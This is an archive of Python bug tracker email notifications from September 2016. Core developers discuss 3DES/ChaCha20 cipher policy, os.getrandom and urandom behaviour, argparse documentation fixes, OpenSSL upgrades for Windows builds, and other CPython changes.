This touches on it http://web.mit.edu/tabbott/www/papers/hotos.pdf but I'm not sure how you don't see it... In the hypothetical case we don't backport ChaCha20 support and 3DES and AES constructs in TLS are no longer secure... what do you do? Do you just plug your fingers in your ears and hope nobody attacks you? Do you rush to try and patch it at the last minute as a rush job instead of being able to phase it in at a controlled time?

> Future OpenSSLs don't affect Python 3.4, as Python 3.4 won't be upgraded to them.  Anyway we don't ship binary installers for 3.4 anymore.

Well except LibreSSL already supports this just fine, so it doesn't require a new OpenSSL at all and I'm not sure what it means that "Python 3.4 won't be upgraded to them". Python will forcibly mandate that nobody ever links against a newer OpenSSL version?

> Please don't check in support for new cyphers to 3.4.

FWIW the cipher list (at least the restricted ones for ssl.create_default_context()) is explicitly documented as being able to be changed at any time without prior deprecation (and RC4 for instance was dropped in Python 3.4.4).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:56:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 02:56:12 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <20160907025609.12540.17591.9299FA2B@psf.io>


Roundup Robot added the comment:

New changeset 786c34bdc27a by Steve Dower in branch 'default':
Issue #27959: Updates NEWS and whatsnew
https://hg.python.org/cpython/rev/786c34bdc27a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:56:36 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 07 Sep 2016 02:56:36 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473216996.64.0.405135833163.issue27938@psf.upfronthosting.co.za>


Martin Panter added the comment:

Koobs if you can, it would be good to understand where the failure is. My guess is that Python doesn?t like running a non-ASCII filename. The following is hopefully a simplified version of the test_cmd_line_script test case:

import os, subprocess, sys

script_name = os.fsdecode(b'./\xE7w\xF0.py')
script_file = open(script_name, 'w', encoding='utf-8')
script_file.write('print(ascii(__file__))\n')
script_file.close()

cmd_line = [sys.executable, '-X', 'faulthandler', '-I', script_name]
env = os.environ.copy()
env['TERM'] = ''
proc = subprocess.Popen(cmd_line, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env)
out, err = proc.communicate()
print(proc.returncode)  # Should be 0 but Free BSD has 1
print(repr(err))  # Error is about encoding 0xE7 with ASCII
print(repr(out))  # If executed, this would be the file name

Hopefully fixing the above problem will help with the test_readline failure. The readline test case does Readline (tab) completions involving non-ASCII text, and it seems that the Python completion routine is no longer being called.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:59:50 2016
From: report at bugs.python.org (Larry Hastings)
Date: Wed, 07 Sep 2016 02:59:50 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473217190.85.0.20214199906.issue27850@psf.upfronthosting.co.za>


Larry Hastings added the comment:

Here at the core dev sprint we had a discussion about whether adding ChaCha20 into 3.5 was the right call.  Strictly speaking, of course, it's neither a bug fix or a security fix, so that suggests it shouldn't be permitted.  However ultimately we concluded it was okay to leave it in.

One thing that bears pointing point out: the Windows binary installers and the Mac 64-bit installers are built against OpenSSL versions that don't have support for ChaCha20 anyway, so it's not going to change anything for those users.  Ned wasn't sure whether or not 32-bit Mac binary installers would or not--and it's such an irrelevant platform he couldn't be bothered to find out.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:59:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 02:59:53 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <20160907025950.1048.53715.59E6247D@psf.io>


Roundup Robot added the comment:

New changeset 7a243a40b421 by Victor Stinner in branch 'default':
Fix test_os.GetRandomTests()
https://hg.python.org/cpython/rev/7a243a40b421

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:01:16 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 03:01:16 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1473217276.58.0.430228219992.issue27292@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I dislike urandom-doc.v2.patch. There is no need to worry all users. Just be explicit and explain that the issue is specific to Linux and explain when it occurs: before the entropy pool is filled *and* if the system was not able yet to write enough entropy on disk, this thing:
https://www.python.org/dev/peps/pep-0524/#load-entropy-from-disk-at-boot

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:03:43 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 03:03:43 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473217423.31.0.880210152384.issue27778@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> HAVE_GETRANDOM_SYSCALL seems to be a compile-time library check, not a runtime check. I compiled and run on Linux 3.15.5, and os.getrandom() exists but raises ENOSYS:

Oh, I'm surprised the configure sees getrandom() as available. But well ok, the error can occur if you compile Python on a more recent kernel than the running kernel.

I fixed the unit test: skip getrandom() tests if getrandom() fails with ENOSYS.

Do you think that it's worth to document this case?

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:04:18 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:04:18 +0000
Subject: [issue27991] In the argparse howto there is a misleading sentence
 about store_true
Message-ID: <1473217458.1.0.785896151958.issue27991@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/howto/argparse.html#combining-positional-and-optional-arguments
"And, just like the ?store_true? action, if you don?t specify the -v flag, that flag is considered to have None value."

This sentence is misleading. It supposes that "store_true" action can save None value. But "store_true" action always saves True or False value.

An example:

This code was taken from the argparse howto. I've just added the -f option and printed args to the stdout.

a.py

#!/usr/bin/env python3

import argparse

parser = argparse.ArgumentParser()
parser.add_argument("square", type=int,
                    help="display the square of a given number")
parser.add_argument("-v", "--verbosity", action="count",
                    help="increase output verbosity")
parser.add_argument("-f", "--flag", action="store_true")
args = parser.parse_args()

print('args:', args)


The output in the console:

[guest at localhost bugs]$ ./a.py 1
args: Namespace(flag=False, square=1, verbosity=None)
[guest at localhost bugs]$ 


In the output we see that the -f option have got the False value not None.

Applied a patch to the issue that just removes words about analogy with store_true action.

----------
assignee: docs at python
components: Documentation, Library (Lib)
files: argparse_store_true.diff
keywords: patch
messages: 274725
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse howto there is a misleading sentence about store_true
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44419/argparse_store_true.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27991>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:06:09 2016
From: report at bugs.python.org (Larry Hastings)
Date: Wed, 07 Sep 2016 03:06:09 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473217569.22.0.459984320183.issue27850@psf.upfronthosting.co.za>


Larry Hastings added the comment:

> FWIW the cipher list (at least the restricted ones for
> ssl.create_default_context()) is explicitly documented
> as being able to be changed at any time without prior deprecation

Yes.  To be specific:  "The protocol, options, cipher and other settings may change to more restrictive values anytime without prior deprecation."

https://docs.python.org/3/library/ssl.html#ssl.create_default_context

I've seen no documentation suggesting that we can add new ciphers at any time.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:07:50 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 03:07:50 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>
Message-ID: <1473217670.98.0.55195781542.issue27990@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Support for the getrandom() syscall requires syscall(), SYS_getrandom constant, GRND_NONBLOCK and GRND_RANDOM constants, linux/random.h header, etc.

I don't understand your request. configure doesn't check getrandom() syscall result:

        /* ignore the result, Python checks for ENOSYS and EAGAIN at runtime */
        (void)syscall(SYS_getrandom, buffer, buflen, flags);

I don't see how you can support getrandom() if the host doesn't have all constants to compile the C code. Do you have to hardcode constants?

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:08:04 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 03:08:04 +0000
Subject: [issue22542] Use arc4random under OpenBSD for os.urandom() if
 /dev/urandom is not present
In-Reply-To: <1412272060.2.0.302379812254.issue22542@psf.upfronthosting.co.za>
Message-ID: <1473217684.87.0.0671075797877.issue22542@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Victor, can this be closed following the changes to os.urandom() in 3.5 and 3.6 to avoid using a file descriptor in os.urandom() where feasible?

----------
nosy: +ncoghlan
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22542>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:10:52 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:10:52 +0000
Subject: [issue27992] In the argparse there is a misleading words about
 %(prog)s value
Message-ID: <1473217852.97.0.553971829799.issue27992@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/argparse.html#argumentparser-objects
"prog - The name of the program (default: sys.argv[0])"

It doesn't take all sys.argv[0]. It splits sys.argv[0] and takes only the trailing part.

An example:

a.py

#!/usr/bin/env python3

import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument("arg", help="The name is %(prog)s, the sys.argv[0] is " + sys.argv[0])
args = parser.parse_args()


The output in the console:

[guest at localhost bugs]$ ../bugs/a.py -h
usage: a.py [-h] arg

positional arguments:
  arg         The name is a.py and sys.argv[0] is ../bugs/a.py

optional arguments:
  -h, --help  show this help message and exit
[guest at localhost bugs]$


In the output we see that %(prog)s takes only trailing part of sys.argv[0] not all.

Applied a patch to the issue that specifies about part of sys.argv[0].

----------
assignee: docs at python
components: Documentation, Library (Lib)
files: argparse_sys-argv-0-part.diff
keywords: patch
messages: 274729
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse there is a misleading words about %(prog)s value
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44420/argparse_sys-argv-0-part.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27992>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:12:34 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 03:12:34 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473217954.81.0.572898891349.issue27778@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Ah, I'd missed that Martin was talking about the other way around from #27990.

Yes, I think it's worth documenting that os.getrandom() may raise OSError if the running kernel doesn't provide the syscall - that's going to be pretty easy to trigger by running a container with Python 3.6 on a container host running an older Linux kernel.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:12:36 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 03:12:36 +0000
Subject: [issue22542] Use arc4random under OpenBSD for os.urandom() if
 /dev/urandom is not present
In-Reply-To: <1412272060.2.0.302379812254.issue22542@psf.upfronthosting.co.za>
Message-ID: <1473217956.55.0.671750983687.issue22542@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I'm not sure that os.urandom() is correct on OpenBSD. I'm not sure that using getentropy() is correct. getentropy() seems to be high quality but I understand that there is a low quantity of entropy and it can block.

I don't know if arc4random() is better: it's no more RC4 on recent OpenBSD, and it has an efficient implementation.

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22542>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:12:55 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 03:12:55 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473217975.38.0.260471042284.issue27938@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Sorry, but I don't have enough information to fix the issue. I don't see how my change can break the two failing tests. Could you please try to collect more information manually?

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:12:59 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 07 Sep 2016 03:12:59 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473217979.67.0.0191448667222.issue27778@psf.upfronthosting.co.za>


Martin Panter added the comment:

I run Arch Linux, but only update packages when I have to. As a result, I am running Linux 3.15 installed and running, but the linux-api-headers has more recently been updated to 4.7 (i.e. matching Linux 4.7).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:13:43 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 03:13:43 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>
Message-ID: <1473218023.04.0.573711900423.issue27989@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

It seems the output produced here is generated by inspect.signature(), which is called by pydoc in this case (in both versions of docroutine()).

I don't know if the right thing to do is to change inspect.signature() here, or to change pydoc to use something else to format the argument list.

----------
nosy: +gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:15:03 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:15:03 +0000
Subject: [issue27993] In the argparse there are typos with endings in plural
 words
Message-ID: <1473218103.32.0.964912945443.issue27993@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/argparse.html#prog
"By default, ArgumentParser objects uses sys.argv[0]"

Should be "objects use" as in all other places in the doc.

https://docs.python.org/3/library/argparse.html#conflict-handler
"By default, ArgumentParser objects raises an exception"

Should be "objects raise" as in all other places in the doc.

Applied a patch to the issue.

----------
assignee: docs at python
components: Documentation, Library (Lib)
files: argparse_objects_endings.diff
keywords: patch
messages: 274735
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse there are typos with endings in plural words
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44421/argparse_objects_endings.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27993>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:17:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 03:17:34 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <20160907031731.14547.90039.D9EBEFB3@psf.io>


Roundup Robot added the comment:

New changeset 720f0cf580e2 by Steve Dower in branch 'default':
Issue #6135: Adds encoding and errors parameters to subprocess
https://hg.python.org/cpython/rev/720f0cf580e2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:18:30 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 03:18:30 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473218310.68.0.983972607159.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

I also added more tests, specifically for ansi and oem encodings on Windows and the errors argument on all platforms.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:20:29 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:20:29 +0000
Subject: [issue27994] In the argparse help(argparse) prints weird comments
 instead of good docstrings
Message-ID: <1473218429.0.0.161771079956.issue27994@psf.upfronthosting.co.za>


New submission from py.user:

>>> import argparse
>>> help(argparse)

>>>

Output:

|  add_subparsers(self, **kwargs)
|      # ==================================
|      # Optional/Positional adding methods
|      # ==================================
|  
|  convert_arg_line_to_args(self, arg_line)
|  
|  error(self, message)
|      error(message: string)
|      
|      Prints a usage message incorporating the message to stderr and
|      exits.
|      
|      If you override this in a subclass, it should not return -- it
|      should either exit or raise an exception.
|  
|  exit(self, status=0, message=None)
|      # ===============
|      # Exiting methods
|      # ===============
|  
|  format_help(self)
|  
|  format_usage(self)
|      # =======================
|      # Help-formatting methods
|      # =======================
|  
|  parse_args(self, args=None, namespace=None)
|      # =====================================
|      # Command line argument parsing methods
|      # =====================================
|  
|  parse_known_args(self, args=None, namespace=None)
|  
|  print_help(self, file=None)
|  
|  print_usage(self, file=None)
|      # =====================
|      # Help-printing methods
|      # =====================
|  
|  ----------------------------------------------------------------------
|  Methods inherited from _AttributeHolder:
...


There are no docstrings for methods, hence some internal comments picked up instead.

----------
assignee: docs at python
components: Documentation, Library (Lib)
messages: 274738
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse help(argparse) prints weird comments instead of good docstrings
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27994>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:21:48 2016
From: report at bugs.python.org (Shaun Walbridge)
Date: Wed, 07 Sep 2016 03:21:48 +0000
Subject: [issue27995] Upgrade Python 3.4 to OpenSSL 1.0.2h
Message-ID: <1473218507.98.0.0291056472337.issue27995@psf.upfronthosting.co.za>


New submission from Shaun Walbridge:

>From the release notes of Python 3.4.5, I see that 3.4 is now in "security fixes only" mode, and no new installers will be created. That said, OpenSSL should be kept up to date so third-parties who build binaries from source will receive upstream patches (there are 18 CVEs against OpenSSL 1.0.2d). This patch upgrades OpenSSL to 1.0.2h for Windows builds.

I initially used the same fix applied in #26930 here, but the relevant intermediate OpenSSL headers (crypto/buildinf_amd64.h, crypto/buildinf_x86.h, crypto/opensslconf_amd64.h, crypto/opensslconf_x86.h) aren't included in the openssl-1.0.2h externals repository [1]. The included patch fixes this by forcing the intermediate configuration files to be written, which doesn't seem to add much to the compilation time and avoided deeper changes to the OpenSSL build process, but there likely is a more elegant solution to this issue.

With this patch applied, Python 3.4.5 compiled and tests ran cleanly locally both the x64 and Win32 targets, compiled using Visual Studio 2010. 


1. http://svn.python.org/projects/external/openssl-1.0.2h/

----------
components: Build, Windows
files: openssl-upgrade.patch
keywords: patch
messages: 274739
nosy: paul.moore, scw, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Upgrade Python 3.4 to OpenSSL 1.0.2h
type: security
versions: Python 3.4
Added file: http://bugs.python.org/file44422/openssl-upgrade.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27995>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:25:09 2016
From: report at bugs.python.org (Larry Hastings)
Date: Wed, 07 Sep 2016 03:25:09 +0000
Subject: [issue27995] Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows
In-Reply-To: <1473218507.98.0.0291056472337.issue27995@psf.upfronthosting.co.za>
Message-ID: <1473218709.97.0.914624876014.issue27995@psf.upfronthosting.co.za>


Changes by Larry Hastings <larry at hastings.org>:


----------
nosy: +larry
title: Upgrade Python 3.4 to OpenSSL 1.0.2h -> Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27995>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:25:51 2016
From: report at bugs.python.org (SenBin Yu)
Date: Wed, 07 Sep 2016 03:25:51 +0000
Subject: [issue27996] Python 3 ssl module can't use a fileno to create a
 SSLSocket
Message-ID: <1473218751.66.0.520708596469.issue27996@psf.upfronthosting.co.za>


New submission from SenBin Yu:

In the SSLSocket __init__ function, it's ok to do a socket type check with argument sock.But meanwhile the sock argument can't be None, which make the SSLSocket socket __init__ way meaningless.Although there are three branch conditions as argument sock, fileno and other.

----------
components: Library (Lib)
files: SSLSocket_sock.png
messages: 274740
nosy: SenBin Yu
priority: normal
severity: normal
status: open
title: Python 3 ssl module can't use a fileno to create a SSLSocket
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44423/SSLSocket_sock.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27996>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:29:06 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 03:29:06 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473218946.07.0.553561837469.issue16384@psf.upfronthosting.co.za>


Eric Snow added the comment:

After looking more closely, it looks like we should be ignoring such bogus modules.  Here's a patch to do so.

----------
keywords: +patch
stage: test needed -> patch review
Added file: http://bugs.python.org/file44424/issue16384.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:35:32 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 03:35:32 +0000
Subject: [issue27997] ImportError should be raised consistently from import
 machinery.
Message-ID: <1473219332.87.0.127432469281.issue27997@psf.upfronthosting.co.za>


New submission from Eric Snow:

As indicated by issue #16384, the import machinery is not consistent in raising ImportError.  Some places in _bootstrap.py (and _bootstrap_external.py) raise ImportError and others make no effort to wrap errors that get encountered.  I would expect the import machinery to always raise ImportError, except that errors coming from executing a module to stay unwrapped.

I haven't had a chance yet to catalog the specific cases of inconsistency.  Regardless, changing to be consistent would introduce backward compatibility.  However, it should not be a big problem so I think we'd be okay (with an appropriate What's New entry).

----------
components: Interpreter Core
messages: 274742
nosy: brett.cannon, eric.snow, ncoghlan
priority: normal
severity: normal
stage: test needed
status: open
title: ImportError should be raised consistently from import machinery.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27997>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:40:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 03:40:28 +0000
Subject: [issue27731] Opt-out of MAX_PATH on Windows 10
In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za>
Message-ID: <20160907034024.38869.92919.643706C2@psf.io>


Roundup Robot added the comment:

New changeset 26601191b368 by Steve Dower in branch 'default':
Issue #27731: Opt-out of MAX_PATH on Windows 10
https://hg.python.org/cpython/rev/26601191b368

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27731>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:43:33 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 07 Sep 2016 03:43:33 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473219813.68.0.566866942695.issue27963@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:55:41 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 03:55:41 +0000
Subject: [issue27955] getrandom() syscall returning EPERM make the system
 unusable.
In-Reply-To: <1473081937.73.0.0253643547204.issue27955@psf.upfronthosting.co.za>
Message-ID: <1473220541.67.0.519924882482.issue27955@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

With #27778 implemented, there's also the question of how os.getrandom() will react to security policies that restrict access to the getrandom syscalls (vs just not having it available in the kernel).

----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:01:08 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:01:08 +0000
Subject: [issue27398] configure warning for Python 3.5.2 during compilation
In-Reply-To: <1467011091.26.0.498872044054.issue27398@psf.upfronthosting.co.za>
Message-ID: <1473220868.69.0.240719997155.issue27398@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Presumably this also affects Python 3.6, as that includes the same headers during configure for the same reasons: to check if the getrandom() syscall is likely to be available.

#27990 is somewhat related, in that Linux makes this a bit difficult to do correctly on older systems - we may need an explicit "--with-getrandom" and corresponding "--without-getrandom" to make it easy for folks to override the system inspection logic in the configure script.

----------
nosy: +ncoghlan
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27398>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:07:57 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:07:57 +0000
Subject: [issue26826] Expose new copy_file_range() syscall in os module.
In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za>
Message-ID: <1473221277.02.0.92900972134.issue26826@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Victor, due to the mention of getrandom() early on, this came up when I was looking for issues that could potentially be closed based on the PEP 524 implementation landing.

Any chance you or someone else could take another look during the pre-beta sprint this week?

(Petr, FYI as a possible new feature that could be interesting from a Fedora system Python perspective)

----------
nosy: +encukou, ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26826>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:13:42 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 04:13:42 +0000
Subject: [issue27905] Add documentation for typing.Type
In-Reply-To: <1472593880.19.0.114422348142.issue27905@psf.upfronthosting.co.za>
Message-ID: <20160907041336.12680.88032.B7E9EADB@psf.io>


Roundup Robot added the comment:

New changeset 9fb30d6af6a9 by Guido van Rossum in branch '3.5':
Issue #27905: Docs for typing.Type[C], by Michael Lee.
https://hg.python.org/cpython/rev/9fb30d6af6a9

New changeset 1705cde6266d by Guido van Rossum in branch 'default':
Issue #27905: Docs for typing.Type[C], by Michael Lee. (Merge 3.5->3.6)
https://hg.python.org/cpython/rev/1705cde6266d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27905>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:14:27 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 04:14:27 +0000
Subject: [issue27905] Add documentation for typing.Type
In-Reply-To: <1472593880.19.0.114422348142.issue27905@psf.upfronthosting.co.za>
Message-ID: <1473221667.48.0.78644320573.issue27905@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks again!  Merged to 3.5 and 3.6 (after cleaning up trailing whitespace -- again ;-).

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27905>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:15:03 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:15:03 +0000
Subject: [issue27654] [Patch] Use arc4random_buf() on CloudABI
In-Reply-To: <1469876174.92.0.881098138709.issue27654@psf.upfronthosting.co.za>
Message-ID: <1473221703.74.0.273537685178.issue27654@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Victor, Christian - this looks like another interesting platform-specific corner case for the system RNG wrapper.

----------
nosy: +christian.heimes, haypo, ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27654>
_______________________________________

From report at bugs.python.org  Wed Sep  7 00:18:27 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 04:18:27 +0000
